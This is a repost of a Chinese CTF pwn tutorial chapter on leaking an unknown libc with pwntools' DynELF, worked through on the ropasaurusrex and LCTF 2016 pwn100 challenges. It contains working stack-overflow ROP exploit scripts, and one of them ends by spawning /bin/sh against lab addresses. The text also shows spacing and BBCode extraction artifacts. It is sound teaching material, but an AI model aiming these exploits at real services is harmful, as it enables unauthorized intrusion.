搜索

[19509] 2019-07-23_CTF必备技能丨LinuxPwn入门教程——利用漏洞获取libc

文档创建者：s7ckTeam
浏览次数：14
最后更新：2025-01-18
2019-07-23_CTF必备技能丨LinuxPwn入门教程——利用漏洞获取libc C T F 必 备 技 能 丨 L i n u x   P w n 入 门 教 程 — — 利 用 漏 洞 获 取 l i b c i 春 秋   2 0 1 9 - 0 7 - 2 3 L i n u x   P w n 入 门 教 程 系 列 分 享 如 约 而 至 ， 本 套 课 程 是 作 者 依 据 i 春 秋 P w n 入 门 课 程 中 的 技 术 分 类 ， 并 结 合 近 几 年 赛 事 中 出 现 的 题 目 和 文 章 整 理 出 一 份 相 对 完 整 的 L i n u x   P w n 教 程 。 教 程 仅 针 对 i 3 8 6 / a m d 6 4 下 的 L i n u x   P w n 常 见 的 P w n 手 法 ， 如 栈 ， 堆 ， 整 数 溢 出 ， 格 式 化 字 符 串 ， 条 件 竞 争 等 进 行 介 绍 ， 所 有 环 境 都 会 封 装 在 D o c k e r 镜 像 当 中 ， 并 提 供 调 试 用 的 教 学 程 序 ， 来 自 历 年 赛 事 的 原 题 和 带 有 注 释 的 p y t h o n 脚 本 。 今 天 i 春 秋 与 大 家 分 享 的 是 L i n u x   P w n 入 门 教 程 第 六 章 ： 利 用 漏 洞 获 取 l i b c ， 阅 读 用 时 约 1 2 分 钟 。 D y n E L F 简 介 简 介 在 前 面 几 篇 文 章 中 ， 为 了 降 低 难 度 ， 很 多 通 过 调 用 库 函 数 s y s t e m 的 题 目 我 们 实 际 上 都 故 意 留 了 后 门 或 者 提 供 了 目 标 系 统 的 l i b c 版 本 。 不 同 版 本 的 l i b c ， 函 数 首 地 址 相 对 于 文 件 开 头 的 偏 移 和 函 数 间 的 偏 移 不 一 定 一 致 。 所 以 如 果 题 目 不 提 供 l i b c ， 通 过 泄 露 任 意 一 个 库 函 数 地 址 计 算 出 s y s t e m 函 数 地 址 的 方 法 就 不 好 使 了 。 这 就 要 求 我 们 想 办 法 获 取 目 标 系 统 的 l i b c 。 关 于 远 程 获 取 l i b c ， p w n t o o l s 在 早 期 版 本 就 提 供 了 一 个 解 决 方 案 — — D y n E L F 类 。 D y n E L F l 的 官 方 文 档 ： h t t p : / / d o c s . p w n t o o l s . c o m / e n / s t a b l e / d y n e l f . h t m l 其 具 体 的 原 理 可 以 参 阅 文 档 和 源 码 ， D y n E L F 通 过 程 序 漏 洞 泄 露 出 任 意 地 址 内 容 ， 结 合 E L F 文 件 的 结 构 特 征 获 取 对 应 版 本 文 件 并 计 算 比 对 出 目 标 符 号 在 内 存 中 的 地 址 。 D y n E L F 类 的 使 用 方 法 如 下 ： i o   =   r e m o t e ( i p ,   p o r t )   d e f   l e a k ( a d d r ) :               p a y l o a d 2 l e a k _ a d d r   =   “ * * * * ”   +   p a c k ( a d d r )   +   “ * * * * ”               i o . s e n d ( p a y l o a d 2 l e a k _ a d d r )               d a t a   =   i o . r e c v ( )               r e t u r n   d a t a  
使 用 D y n E L F 时 ， 我 们 需 要 使 用 一 个 l e a k 函 数 作 为 必 选 参 数 ， 指 向 E L F 文 件 的 指 针 或 者 使 用 E L F 类 加 载 的 目 标 文 件 至 少 提 供 一 个 作 为 可 选 参 数 ， 以 初 始 化 一 个 D y n E L F 类 的 实 例 d 。 然 后 就 可 以 通 过 这 个 实 例 d 的 方 法 l o o k u p 来 搜 寻 l i b c 库 函 数 了 。 其 中 ， l e a k 函 数 需 要 使 用 目 标 程 序 本 身 的 漏 洞 泄 露 出 由 D y n E L F 类 传 入 的 i n t 型 参 数 a d d r 对 应 的 内 存 地 址 中 的 数 据 。 且 由 于 D y n E L F 会 多 次 调 用 l e a k 函 数 ， 这 个 函 数 必 须 能 任 意 次 使 用 ， 即 不 能 泄 露 几 个 地 址 之 后 就 导 致 程 序 崩 溃 。 由 于 需 要 泄 露 数 据 ， p a y l o a d 中 必 然 包 含 着 打 印 函 数 ， 如 w r i t e ,   p u t s ,   p r i n t f 等 ， 我 们 根 据 这 些 函 数 的 特 点 将 其 分 成 两 部 分 分 别 进 行 讲 解 。 D y n E L F 的 使 用 的 使 用 — — w r i t e 函 数 函 数 我 们 先 来 看 比 较 简 单 的 w r i t e 函 数 。 w r i t e 函 数 的 特 点 在 于 其 输 出 完 全 由 其 参 数 s i z e 决 定 ， 只 要 目 标 地 址 可 读 ， s i z e 填 多 少 就 输 出 多 少 ， 不 会 受 到 诸 如 ‘ 0 ’ ,   ‘ n ’ 之 类 的 字 符 影 响 。 因 此 l e a k 函 数 中 对 数 据 的 读 取 和 处 理 较 为 简 单 。 我 们 开 始 分 析 例 子 ~ / P l a i d C T F   2 0 1 3   r o p a s a u r u s r e x / r o p a s a u r u s r e x ， 这 个 3 2 位 程 序 的 结 构 非 常 简 单 ， 一 个 有 栈 溢 出 的 r e a d ， 一 个 w r i t e 。 没 有 l i b c ， g o t 表 里 没 有 s y s t e m ， 也 没 有 i n t   8 0 h / s y s c a l l 。 这 种 情 况 下 我 们 就 可 以 使 用 D y n E L F 来 l e a k l i b c ， 进 而 获 取 s y s t e m 函 数 在 内 存 中 的 地 址 。 首 先 我 们 来 构 建 一 个 可 以 泄 露 任 意 地 址 的 R O P 链 。 通 过 测 试 我 们 可 以 知 道 栈 溢 出 到 E I P 需 要 1 4 0 个 字 节 ， 因 此 我 们 可 以 构 造 一 个 p a y l o a d 如 下 ： 使 用 p a y l o a d 打 印 出 E L F 文 件 在 内 存 中 的 首 地 址 0 x 0 8 0 4 8 0 0 0 ， w r i t e (   ) 运 行 结 束 后 返 回 的 地 址 随 便 填 写 ， 编 写 脚 本 后 发 现 可 以 正 确 输 出 结 果 ： d   =   D y n E L F ( l e a k ,   p o i n t e r   =   p o i n t e r _ i n t o _ E L F _ f i l e ,   e l f   =   E L F O b j e c t ) s y s t e m _ a d d r   =   d . l o o k u p ( “ s y s t e m ” ,   l i b c ) e l f   =   E L F ( ‘ . / r o p a s a u r u s r e x ’ )                   # 别 忘 了 在 脚 本 所 在 目 录 下 放 一 个 程 序 文 件 r o p a s a u r u s r e x   w r i t e _ a d d r   =   e l f . s y m b o l s [ ' w r i t e ' ]   p a y l o a d   =   “ A ” * 1 4 0 p a y l o a d   + =   p 3 2 ( w r i t e _ a d d r ) p a y l o a d   + =   p 3 2 ( 0 ) p a y l o a d   + =   p 3 2 ( 1 ) p a y l o a d   + =   p 3 2 ( 0 x 0 8 0 4 8 0 0 0 ) p a y l o a d   + =   p 3 2 ( 8 )
现 在 我 们 需 要 让 这 个 p a y l o a d 可 以 被 重 复 使 用 。 首 先 我 们 需 要 改 掉 w r i t e 函 数 返 回 的 地 址 ， 以 免 执 行 完 w r i t e 之 后 程 序 崩 溃 。 那 么 改 成 什 么 好 呢 ？ 继 续 改 成 w r i t e 是 不 行 的 ， 因 为 参 数 显 然 没 办 法 继 续 传 递 。 如 果 使 用 p o p 清 除 栈 又 会 导 致 栈 顶 下 降 ， 多 执 行 几 次 就 会 耗 尽 栈 空 间 。 这 里 我 们 可 以 把 返 回 地 址 改 成 s t a r t 段 的 地 址 ： 这 段 代 码 是 编 译 器 添 加 的 ， 用 于 初 始 化 程 序 的 运 行 环 境 后 ， 执 行 完 相 应 的 代 码 后 会 跳 转 到 程 序 的 入 口 函 数 m a i n 运 行 程 序 代 码 。 因 此 ， 在 执 行 完 w r i t e 函 数 泄 露 数 据 后 ， 我 们 可 以 返 回 到 这 里 刷 新 一 遍 程 序 的 环 境 ， 相 当 于 是 重 新 执 行 了 一 遍 程 序 。 现 在 的 p a y l o a d 封 装 成 l e a k 函 数 如 下 ： 我 们 加 了 一 行 p r i n t 输 出 l e a k 执 行 的 状 态 ， 用 于 d e b u g 。 使 用 D y n E L F 泄 露 s y s t e m 函 数 地 址 ， 显 示 如 下 ： d e f   l e a k ( a d d r ) :               p a y l o a d   =   ' '               p a y l o a d   + =   ' A ' * 1 4 0                                       # p a d d i n g               p a y l o a d   + =   p 3 2 ( w r i t e _ a d d r )             # 调 用 w r i t e               p a y l o a d   + =   p 3 2 ( s t a r t _ a d d r )   # w r i t e 返 回 到 s t a r t               p a y l o a d   + =   p 3 2 ( 1 )                                         # w r i t e 第 一 个 参 数 f d               p a y l o a d   + =   p 3 2 ( a d d r )                 # w r i t e 第 二 个 参 数 b u f               p a y l o a d   + =   p 3 2 ( 8 )                                         # w r i t e 第 三 个 参 数 s i z e               i o . s e n d l i n e ( p a y l o a d )               c o n t e n t   =   i o . r e c v ( ) [ : 8 ]               p r i n t ( " % # x   - >   % s "   % ( a d d r ,   ( c o n t e n t   o r   ' ' ) . e n c o d e ( ' h e x ' ) ) )               r e t u r n   c o n t e n t
我 们 可 以 利 用 这 个 D y n E L F 类 的 实 例 泄 露 r e a d 函 数 的 真 正 内 存 地 址 ， 用 于 读 取 “ / b i n / s h ” 字 符 串 到 内 存 中 ， 以 便 于 执 行 s y s t e m ( “ / b i n / s h ” ) 。 最 终 脚 本 如 下 ： # ! / u s r / b i n / p y t h o n # c o d i n g : u t f - 8 [ / s i z e ] [ / a l i g n ] [ a l i g n = l e f t ] [ s i z e = 3 ] f r o m   p w n   i m p o r t   *   i o   =   r e m o t e ( ' 1 7 2 . 1 7 . 0 . 2 ' ,   1 0 0 0 1 ) [ / s i z e ] [ / a l i g n ] [ a l i g n = l e f t ] [ s i z e = 3 ] e l f   =   E L F ( ' . / r o p a s a u r u s r e x ' )   s t a r t _ a d d r   =   0 x 0 8 0 4 8 3 4 0 w r i t e _ a d d r   =   e l f . s y m b o l s [ ' w r i t e ' ] b i n s h _ a d d r   =   0 x 0 8 0 4 9 0 0 0   d e f   l e a k ( a d d r ) :               p a y l o a d   =   ' '               p a y l o a d   + =   ' A ' * 1 4 0                                       # p a d d i n g               p a y l o a d   + =   p 3 2 ( w r i t e _ a d d r )             # 调 用 w r i t e               p a y l o a d   + =   p 3 2 ( s t a r t _ a d d r )                 # w r i t e 返 回 到 s t a r t               p a y l o a d   + =   p 3 2 ( 1 )                                         # w r i t e 第 一 个 参 数 f d               p a y l o a d   + =   p 3 2 ( a d d r )                               # w r i t e 第 二 个 参 数 b u f               p a y l o a d   + =   p 3 2 ( 8 )                                         # w r i t e 第 三 个 参 数 s i z e               i o . s e n d l i n e ( p a y l o a d )               c o n t e n t   =   i o . r e c v ( ) [ : 8 ]               p r i n t ( " % # x   - >   % s "   % ( a d d r ,   ( c o n t e n t   o r   ' ' ) . e n c o d e ( ' h e x ' ) ) )               r e t u r n   c o n t e n t   d   =   D y n E L F ( l e a k ,   e l f   =   e l f ) s y s t e m _ a d d r   =   d . l o o k u p ( ' s y s t e m ' ,   ' l i b c ' ) r e a d _ a d d r   =   d . l o o k u p ( ' r e a d ' ,   ' l i b c ' )   l o g . i n f o ( " s y s t e m _ a d d r   =   % # x " ,   s y s t e m _ a d d r ) l o g . i n f o ( " r e a d _ a d d r   =   % # x " ,   r e a d _ a d d r )   p a y l o a d   =   ' ' p a y l o a d   + =   ' A ' * 1 4 0                                                     # p a d d i n g p a y l o a d   + =   p 3 2 ( r e a d _ a d d r )                             # 调 用 r e a d p a y l o a d   + =   p 3 2 ( s y s t e m _ a d d r )                     # r e a d 返 回 到 s y s t e m p a y l o a d   + =   p 3 2 ( 0 )                                                       # r e a d 第 一 个 参 数 f d / s y s t e m 返 回 地 址 ， 无 意 义 p a y l o a d   + =   p 3 2 ( b i n s h _ a d d r )                           # r e a d 第 二 个 参 数 b u f / s y s t e m 第 一 个 参 数 p a y l o a d   + =   p 3 2 ( 8 )                                                       # r e a d 第 三 个 参 数 s i z e   i o . s e n d l i n e ( p a y l o a d ) i o . s e n d l i n e ( ' / b i n / s h x 0 0 ' ) i o . i n t e r a c t i v e ( )
D y n E L F 的 使 用 的 使 用 — — 其 他 输 出 函 数 其 他 输 出 函 数 除 了 “ 好 说 话 ” 的 w r i t e 函 数 之 外 ， 一 些 专 门 由 于 处 理 字 符 串 输 出 的 函 数 也 经 常 出 现 在 各 类 C T F   p w n 题 目 中 ， 比 如 p r i n t f ,   p u t s 等 。 这 类 函 数 的 特 点 是 会 被 特 殊 字 符 影 响 ， 因 此 存 在 输 出 长 度 不 固 定 的 问 题 。 我 们 看 一 下 例 子 ~ / L C T F   2 0 1 6 - p w n 1 0 0 / p w n 1 0 0 ， 其 漏 洞 出 现 在 s u b _ 4 0 0 6 8 E (   ) 中 。 很 明 显 的 栈 溢 出 漏 洞 。   这 个 程 序 比 较 麻 烦 的 一 点 在 于 它 是 个 6 4 位 程 序 ， 且 找 不 到 可 以 修 改 r d x 的 g a d g e t ， 因 此 在 这 里 我 们 就 可 以 用 到 之 前 的 文 章 中 提 到 的 万 能 g a d g e t s 进 行 函 数 调 用 。 首 先 我 们 来 构 造 一 个 l e a k 函 数 。 通 过 对 代 码 的 分 析 我 们 发 现 程 序 中 可 以 用 来 泄 露 信 息 的 函 数 只 有 一 个 p u t s ， 已 知 栈 溢 出 到 r i p 需 要 7 2 个 字 节 ， 我 们 很 快 就 可 以 写 出 一 个 尝 试 泄 露 的 脚 本 ： 结 果 如 下 ： f r o m   p w n   i m p o r t   *   i o   =   r e m o t e ( " 1 7 2 . 1 7 . 0 . 3 " ,   1 0 0 0 1 ) e l f   =   E L F ( " . / p w n 1 0 0 " )   p u t s _ a d d r   =   e l f . p l t [ ' p u t s ' ] p o p _ r d i   =   0 x 4 0 0 7 6 3   p a y l o a d   =   " A "   * 7 2 p a y l o a d   + =   p 6 4 ( p o p _ r d i ) p a y l o a d   + =   p 6 4 ( 0 x 4 0 0 0 0 0 ) p a y l o a d   + =   p 6 4 ( p u t s _ a d d r ) p a y l o a d   =   p a y l o a d . l j u s t ( 2 0 0 ,   " B " ) i o . s e n d ( p a y l o a d ) p r i n t   i o . r e c v ( )
由 于 实 际 上 栈 溢 出 漏 洞 需 要 执 行 完 p u t s ( “ b y e ~ ” ) 之 后 才 会 被 触 发 ， 输 出 对 应 地 址 的 数 据 ， 因 此 我 们 需 要 去 掉 前 面 的 字 符 ， 所 以 可 以 写 l e a k 函 数 如 下 ： 我 们 将 其 扩 展 成 一 个 脚 本 并 执 行 ， 却 发 现 l e a k 出 错 了 。 通 过 查 看 输 出 的 l e a k 结 果 我 们 可 以 发 现 有 大 量 的 地 址 输 出 处 理 之 后 都 是 0 x 0 a ， 即 一 个 回 车 符 。 从 T r a c e b a c k 上 看 ， 最 根 本 原 因 是 读 取 数 据 错 误 。 这 是 因 为 p u t s (   ) 的 输 出 是 不 受 控 的 ， 作 为 一 个 字 符 串 输 出 函 数 ， 它 默 认 把 字 符 ' x 0 0 ' 作 为 字 符 串 结 尾 ， 从 而 截 断 了 输 出 。 因 此 ， 我 们 可 以 根 据 上 述 博 文 修 改 l e a k 函 数 ： s t a r t _ a d d r   =   0 x 4 0 0 5 5 0 p o p _ r d i   =   0 x 4 0 0 7 6 3 p u t s _ a d d r   =   e l f . p l t [ ' p u t s ' ]   d e f   l e a k ( a d d r ) :               p a y l o a d   =   " A "   * 7 2               p a y l o a d   + =   p 6 4 ( p o p _ r d i )               p a y l o a d   + =   p 6 4 ( a d d r )               p a y l o a d   + =   p 6 4 ( p u t s _ a d d r )               p a y l o a d   + =   p 6 4 ( s t a r t _ a d d r )               p a y l o a d   =   p a y l o a d . l j u s t ( 2 0 0 ,   " B " )               i o . s e n d ( p a y l o a d )               c o n t e n t   =   i o . r e c v ( ) [ 5 : ]               l o g . i n f o ( " % # x   = >   % s "   %   ( a d d r ,   ( c o n t e n t   o r   ' ' ) . e n c o d e ( ' h e x ' ) ) )               r e t u r n   c o n t e n t
脚 本 全 部 内 容 位 于 ~ / L C T F 2 0 1 6 - p w n 1 0 0 / e x p . p y ， 此 处 不 再 赘 述 。 其 他 获 取 其 他 获 取 l i b c 的 方 法 的 方 法 虽 然 D y n E L F 是 一 个 d u m p 利 器 ， 但 是 有 时 候 我 们 也 会 碰 到 一 些 令 人 尴 尬 的 意 外 情 况 ， 比 如 写 不 出 来 l e a k 函 数 ， 下 l i b c 被 墙 等 等 。 这 一 节 我 们 来 介 绍 一 些 可 行 的 解 决 方 案 。 首 先 要 介 绍 的 是 l i b c d b . c o m ， 这 是 一 个 用 来 在 线 查 询 l i b c 版 本 的 网 站 。 从 它 的 界 面 我 们 可 以 看 出 来 ， 这 个 网 站 的 使 用 相 当 简 单 ， 只 需 要 我 们 泄 露 出 两 个 函 数 的 内 存 地 址 。 只 要 程 序 存 在 可 以 用 来 d e f   l e a k ( a d d r ) :               c o u n t   =   0               u p   =   ' '               c o n t e n t   =   ' '               p a y l o a d   =   ' A ' * 7 2                                                 # p a d d i n g               p a y l o a d   + =   p 6 4 ( p o p _ r d i )                                     # 给 p u t s ( ) 赋 值               p a y l o a d   + =   p 6 4 ( a d d r )                               # l e a k 函 数 的 参 数 a d d r               p a y l o a d   + =   p 6 4 ( p u t s _ a d d r )                 # 调 用 p u t s ( ) 函 数               p a y l o a d   + =   p 6 4 ( s t a r t _ a d d r )               # 跳 转 到 s t a r t ， 恢 复 栈               p a y l o a d   =   p a y l o a d . l j u s t ( 2 0 0 ,   ' B ' )   # p a d d i n g               i o . s e n d ( p a y l o a d )               i o . r e c v u n t i l ( " b y e ~ n " )               w h i l e   T r u e :                                                                                                             # 无 限 循 环 读 取 ， 防 止 r e c v ( ) 读 取 输 出 不 全                             c   =   i o . r e c v ( n u m b = 1 ,   t i m e o u t = 0 . 1 )           # 每 次 读 取 一 个 字 节 ， 设 置 超 时 时 间 确 保 没 有 遗 漏                             c o u n t   + =   1                                                                                                                     i f   u p   = =   ' n '   a n d   c   = =   " " :                                     # 上 一 个 字 符 是 回 车 且 读 不 到 其 他 字 符 ， 说 明 读 完 了                                           c o n t e n t   =   c o n t e n t [ : - 1 ] + ' x 0 0 '         # 最 后 一 个 字 符 置 为 x 0 0                                           b r e a k                             e l s e :                                           c o n t e n t   + =   c   # 拼 接 输 出                                           u p   =   c         # 保 存 最 后 一 个 字 符               c o n t e n t   =   c o n t e n t [ : 4 ]       # 截 取 输 出 的 一 段 作 为 返 回 值 ， 提 供 给 D y n E L F 处 理               l o g . i n f o ( " % # x   = >   % s "   %   ( a d d r ,   ( c o n t e n t   o r   ' ' ) . e n c o d e ( ' h e x ' ) ) )               r e t u r n   c o n t e n t
泄 露 内 存 的 漏 洞 。 不 过 尴 尬 的 是 l i b c d b . c o m 里 好 像 搜 不 到 我 们 用 的 U b u n t u . 1 7 . 0 4 里 面 的 l i b c ， 所 以 在 这 里 就 不 做 演 示 了 。 第 二 个 推 荐 的 方 法 是 在 比 赛 中 使 用 其 他 题 目 的 l i b c 。 如 果 一 个 题 目 无 法 获 取 到 l i b c ， 通 常 可 以 尝 试 一 下 使 用 其 他 题 目 获 取 到 的 l i b c 做 题 ， 有 时 候 可 能 所 有 同 平 台 的 题 目 都 部 署 在 同 一 个 版 本 的 系 统 中 。 以 上 是 今 天 的 内 容 ， 大 家 看 懂 了 吗 ？ 后 面 我 们 将 持 续 更 新 L i n u x   P w n 入 门 教 程 的 相 关 章 节 ， 希 望 大 家 及 时 关 注 。   课 后 例 题 和 练 习 题 非 常 重 要 ， 小 伙 伴 请 务 必 进 行 练 习 ， 进 群 后 管 理 员 会 给 大 家 发 放 哦 。 练 习 题 获 取 入 口 练 习 题 获 取 入 口 新 来 的 朋 友 如 果 想 要 了 解 其 他 的 必 备 技 能 和 实 用 工 具 ， 可 以 点 击 菜 单 栏 中 的 入 门 锦 囊 查 看 相 关 内 容 ： 文 章 素 材 来 源 于 i 春 秋 社 区 ●   入 门 教 程 第 一 章 ： 环 境 配 置 ●   入 门 教 程 第 二 章 ： 栈 溢 出 基 础
●   入 门 教 程 第 三 章 ： S h e l l C o d e ●   入 门 教 程 第 四 章 ： R O P 技 术 ●   入 门 教 程 第 五 章 ： 调 整 栈 帧 的 技 巧 i 春 秋 官 方 公 众 号 为 大 家 提 供 春 秋 官 方 公 众 号 为 大 家 提 供 前 沿 的 网 络 安 全 技 术 简 单 易 懂 的 实 用 工 具 紧 张 刺 激 的 安 全 竞 赛 还 有 网 络 安 全 大 讲 堂 更 多 技 能 等 你 来 解 锁
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理